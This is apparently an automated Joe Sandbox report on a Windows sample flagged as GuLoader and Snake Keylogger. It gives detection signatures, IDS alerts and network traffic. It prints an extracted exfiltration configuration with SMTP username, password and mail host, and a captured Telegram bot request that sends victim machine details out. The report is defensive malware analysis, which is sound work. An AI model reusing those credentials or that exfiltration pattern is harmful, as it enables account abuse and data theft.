Edit tour

Windows Analysis Report
________.exe

Overview

General Information

Sample name:	________.exe
Analysis ID:	1554160
MD5:	89b3b4723ea3983fc0f103eaf3093edc
SHA1:	bb6fb38b57fd6694e0803d1de469f0a326e231f4
SHA256:	69a0042174fbffed7ac840081ec1d5618f2a70fe4d56078b98a1db06627f9eab
Tags:	exeuser-abuse_ch
Infos:

Detection

GuLoader, Snake Keylogger

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Multi AV Scanner detection for submitted file

Sigma detected: Suspicious Double Extension File Execution

Yara detected GuLoader

Yara detected Snake Keylogger

Yara detected Telegram RAT

AI detected suspicious sample

Switches to a custom stack to bypass stack traces

Tries to detect the country of the analysis system (by using the IP)

Tries to detect virtualization through RDTSC time measurements

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality for read data from the clipboard

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Suspicious Outbound SMTP Connections

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses SMTP (mail sending)

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

________.exe (PID: 2916 cmdline: "C:\Users\user\Desktop\________.exe" MD5: 89B3B4723EA3983FC0F103EAF3093EDC)

________.exe (PID: 5916 cmdline: "C:\Users\user\Desktop\________.exe" MD5: 89B3B4723EA3983FC0F103EAF3093EDC)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-engineering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Malware Configuration

Threatname: Snake Keylogger

{"Exfil Mode": "SMTP", "Username": "wajahat@foodex.com.pk", "Password": "wajahat1975", "Host": "mail.foodex.com.pk", "Port": "587", "Version": "4.4"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000003.00000002.3975771250.0000000032D61000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000003.00000002.3975771250.0000000032E67000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000002.1623677806.000000000330D000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Process Memory Space: ________.exe PID: 2916	JoeSecurity_GuLoader_3	Yara detected GuLoader	Joe Security
Process Memory Space: ________.exe PID: 5916	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: ________.exe PID: 5916	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Click to see the 1 entries

Sigma Signatures

System Summary

Sigma detected: Suspicious Double Extension File Execution

Source: Process started

Author: Florian Roth (Nextron Systems), @blu3_team (idea), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Users\user\Desktop\________.exe", CommandLine: "C:\Users\user\Desktop\________.exe", CommandLine|base64offset|contains: , Image: C:\Users\user\Desktop\________.exe, NewProcessName: C:\Users\user\Desktop\________.exe, OriginalFileName: C:\Users\user\Desktop\________.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: "C:\Users\user\Desktop\________.exe", ProcessId: 2916, ProcessName: ________.exe

Sigma detected: Suspicious Outbound SMTP Connections

Source: Network Connection

Author: frack113: Data: DestinationIp: 37.27.123.72, DestinationIsIpv6: false, DestinationPort: 587, EventID: 3, Image: C:\Users\user\Desktop\________.exe, Initiated: true, ProcessId: 5916, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49731

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T07:36:32.879752+0100	2022930	1	A Network Trojan was detected	52.149.20.212	443	192.168.2.8	49706	TCP
2024-11-12T07:37:12.770892+0100	2022930	1	A Network Trojan was detected	52.149.20.212	443	192.168.2.8	49732	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T07:36:50.311923+0100	2803305	3	Unknown Traffic	192.168.2.8	49717	188.114.96.3	443	TCP
2024-11-12T07:36:52.391719+0100	2803305	3	Unknown Traffic	192.168.2.8	49719	188.114.96.3	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T07:36:47.682495+0100	2803274	2	Potentially Bad Traffic	192.168.2.8	49715	193.122.130.0	80	TCP
2024-11-12T07:36:48.280641+0100	2803274	2	Potentially Bad Traffic	192.168.2.8	49715	193.122.130.0	80	TCP
2024-11-12T07:36:49.593155+0100	2803274	2	Potentially Bad Traffic	192.168.2.8	49715	193.122.130.0	80	TCP
2024-11-12T07:36:51.686922+0100	2803274	2	Potentially Bad Traffic	192.168.2.8	49718	193.122.130.0	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: ________.exe

Avira: detected

Found malware configuration

Source: 00000003.00000002.3975771250.0000000032D61000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: Snake Keylogger {"Exfil Mode": "SMTP", "Username": "wajahat@foodex.com.pk", "Password": "wajahat1975", "Host": "mail.foodex.com.pk", "Port": "587", "Version": "4.4"}

Multi AV Scanner detection for submitted file

Source: ________.exe

Virustotal: Detection: 8%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Location Tracking

Tries to detect the country of the analysis system (by using the IP)

Source: unknown

DNS query: name: reallyfreegeoip.org

Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E986C4 CryptUnprotectData,		3_2_35E986C4
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_35E98EF1 CryptUnprotectData,		3_2_35E98EF1

Source: ________.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49716 version: TLS 1.0

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.8:49730 version: TLS 1.2

Source: C:\Users\user\Desktop\________.exe	Code function: 1_2_00405772 CloseHandle,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	1_2_00405772
Source: C:\Users\user\Desktop\________.exe	Code function: 1_2_0040622D FindFirstFileW,FindClose,	1_2_0040622D
Source: C:\Users\user\Desktop\________.exe	Code function: 1_2_00402770 FindFirstFileW,	1_2_00402770
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_00402770 FindFirstFileW,	3_2_00402770
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_00405772 CloseHandle,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	3_2_00405772
Source: C:\Users\user\Desktop\________.exe	Code function: 3_2_0040622D FindFirstFileW,FindClose,	3_2_0040622D

Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 0015F2EDh	3_2_0015F150
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 0015F2EDh	3_2_0015F33C
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 0015F2EDh	3_2_0015F3B8
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 0015FAA9h	3_2_0015F804
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 32D4E311h	3_2_32D4E068
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 32D431E8h	3_2_32D42DD0
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 32D42C21h	3_2_32D42970
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 32D4FD21h	3_2_32D4FA78
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 32D4F8C9h	3_2_32D4F620
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 32D4DA61h	3_2_32D4D7B8
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 32D4D609h	3_2_32D4D360
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 32D4D1B1h	3_2_32D4CF08
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 32D40D0Dh	3_2_32D40B30
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 32D41697h	3_2_32D40B30
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 32D4E769h	3_2_32D4E4C0
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	3_2_32D40040
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 32D4DEB9h	3_2_32D4DC10
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 32D431E8h	3_2_32D42DC3
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 32D4F471h	3_2_32D4F1C8
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 32D4F019h	3_2_32D4ED70
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 32D431E8h	3_2_32D43116
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 32D4EBC1h	3_2_32D4E918
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35E99280h	3_2_35E98FB0
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35E97EB5h	3_2_35E97B78
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35E902E9h	3_2_35E90040
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35E9C8B6h	3_2_35E9C5E8
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35E918A1h	3_2_35E915F8
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35E95E81h	3_2_35E95BD8
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35E9E8A6h	3_2_35E9E5D8
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35E9B676h	3_2_35E9B3A8
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35E91449h	3_2_35E911A0
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35E92E59h	3_2_35E92BB0
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35E9F656h	3_2_35E9F388
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35E95A29h	3_2_35E95780
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35E9D666h	3_2_35E9D398
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35E9E416h	3_2_35E9E148
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35E90FF1h	3_2_35E90D48
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35E9C426h	3_2_35E9C158
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35E92A01h	3_2_35E92758
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35E955D1h	3_2_35E95328
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35E979C9h	3_2_35E97720
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35E9D1D6h	3_2_35E9CF08
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35E925A9h	3_2_35E92300
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35E9B1E6h	3_2_35E9AF18
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35E9F1C6h	3_2_35E9EEF8
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35E90B99h	3_2_35E908F0
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35E9BF96h	3_2_35E9BCC8
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35E97571h	3_2_35E972C8
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35E95179h	3_2_35E94ED0
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35E92151h	3_2_35E91EA8
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35E9DF86h	3_2_35E9DCB8
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then mov esp, ebp	3_2_35E9ACBC
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35E96733h	3_2_35E96488
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35E932B1h	3_2_35E9308D
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35E90741h	3_2_35E90498
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35E9ED36h	3_2_35E9EA68
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35E93709h	3_2_35E93460
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35E9CD46h	3_2_35E9CA78
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35E94D21h	3_2_35E94A78
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35E97119h	3_2_35E96E70
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35E91CF9h	3_2_35E91A50
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35E9DAF6h	3_2_35E9D828
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35E948C9h	3_2_35E94620
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35E9BB06h	3_2_35E9B838
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35E962D9h	3_2_35E96030
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35E96CC1h	3_2_35E96A18
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35E9FAE6h	3_2_35E9F818
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35F064E0h	3_2_35F061E8
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35F05EB7h	3_2_35F05B48
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35F03506h	3_2_35F03238
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35F010BEh	3_2_35F00DF0
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35F08FE8h	3_2_35F08CF0
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35F022C6h	3_2_35F01FF8
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35F0BAF0h	3_2_35F0B7F8
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35F0D2D8h	3_2_35F0CFE0
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35F042B6h	3_2_35F03FE8
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35F0FDE0h	3_2_35F0FAE8
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35F0079Eh	3_2_35F004D0
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35F07CC8h	3_2_35F079D0
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35F0A7D0h	3_2_35F0A4D8
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35F0BFB8h	3_2_35F0BCC0
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35F03996h	3_2_35F036C8
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35F0EAC0h	3_2_35F0E7C8
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35F069A8h	3_2_35F066B0
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35F05986h	3_2_35F056B8
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35F094B0h	3_2_35F091B8
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35F0AC98h	3_2_35F0A9A0
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35F03076h	3_2_35F02DA8
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35F0D7A0h	3_2_35F0D4A8
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35F0EF88h	3_2_35F0EC90
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35F05066h	3_2_35F04D98
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35F08190h	3_2_35F07E98
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35F0154Eh	3_2_35F01280
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35F09978h	3_2_35F09680
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35F02756h	3_2_35F02488
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35F0C480h	3_2_35F0C188
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35F0DC68h	3_2_35F0D970
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35F04747h	3_2_35F04478
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35F06E70h	3_2_35F06B78
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35F00C2Eh	3_2_35F00960
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35F08658h	3_2_35F08360
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35F01E36h	3_2_35F01B68
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35F0B160h	3_2_35F0AE68
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35F0C948h	3_2_35F0C650
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35F03E26h	3_2_35F03B58
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35F0F450h	3_2_35F0F158
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35F0030Eh	3_2_35F00040
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35F07338h	3_2_35F07040
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35F09E40h	3_2_35F09B48
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35F0B628h	3_2_35F0B330
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35F0E130h	3_2_35F0DE38
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35F0F918h	3_2_35F0F620
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35F054F6h	3_2_35F05228
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35F08B20h	3_2_35F08828
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35F019B7h	3_2_35F01710
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35F0A308h	3_2_35F0A010
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35F02BE6h	3_2_35F02918
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35F0CE10h	3_2_35F0CB18
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35F0E5F8h	3_2_35F0E300
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35F04BD6h	3_2_35F04908
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35F07800h	3_2_35F07508
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35F31B20h	3_2_35F31828
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35F30CC8h	3_2_35F309D0
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35F31658h	3_2_35F31360
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35F30800h	3_2_35F30508
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35F31190h	3_2_35F30E98
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then jmp 35F30339h	3_2_35F30040
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	3_2_360B3E70
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	3_2_360B3E60
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	3_2_360B0D26
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	3_2_360B0A10
Source: C:\Users\user\Desktop\________.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	3_2_360B09E1

Networking

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Source: global traffic

TCP traffic: 192.168.2.8:49731 -> 37.27.123.72:587

Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.68 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.68 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.68 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.68 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.68 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.68 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.68 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.68 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:141700%0D%0ADate%20and%20Time:%2012/11/2024%20/%2018:46:56%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20141700%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.8:49718 -> 193.122.130.0:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.8:49715 -> 193.122.130.0:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49717 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 52.149.20.212:443 -> 192.168.2.8:49706
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49719 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 52.149.20.212:443 -> 192.168.2.8:49732

Source: global traffic

TCP traffic: 192.168.2.8:49731 -> 37.27.123.72:587

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown

HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49716 version: TLS 1.0

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.68 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.68 HTTP/1.1Host: reallyfreegeoip.org
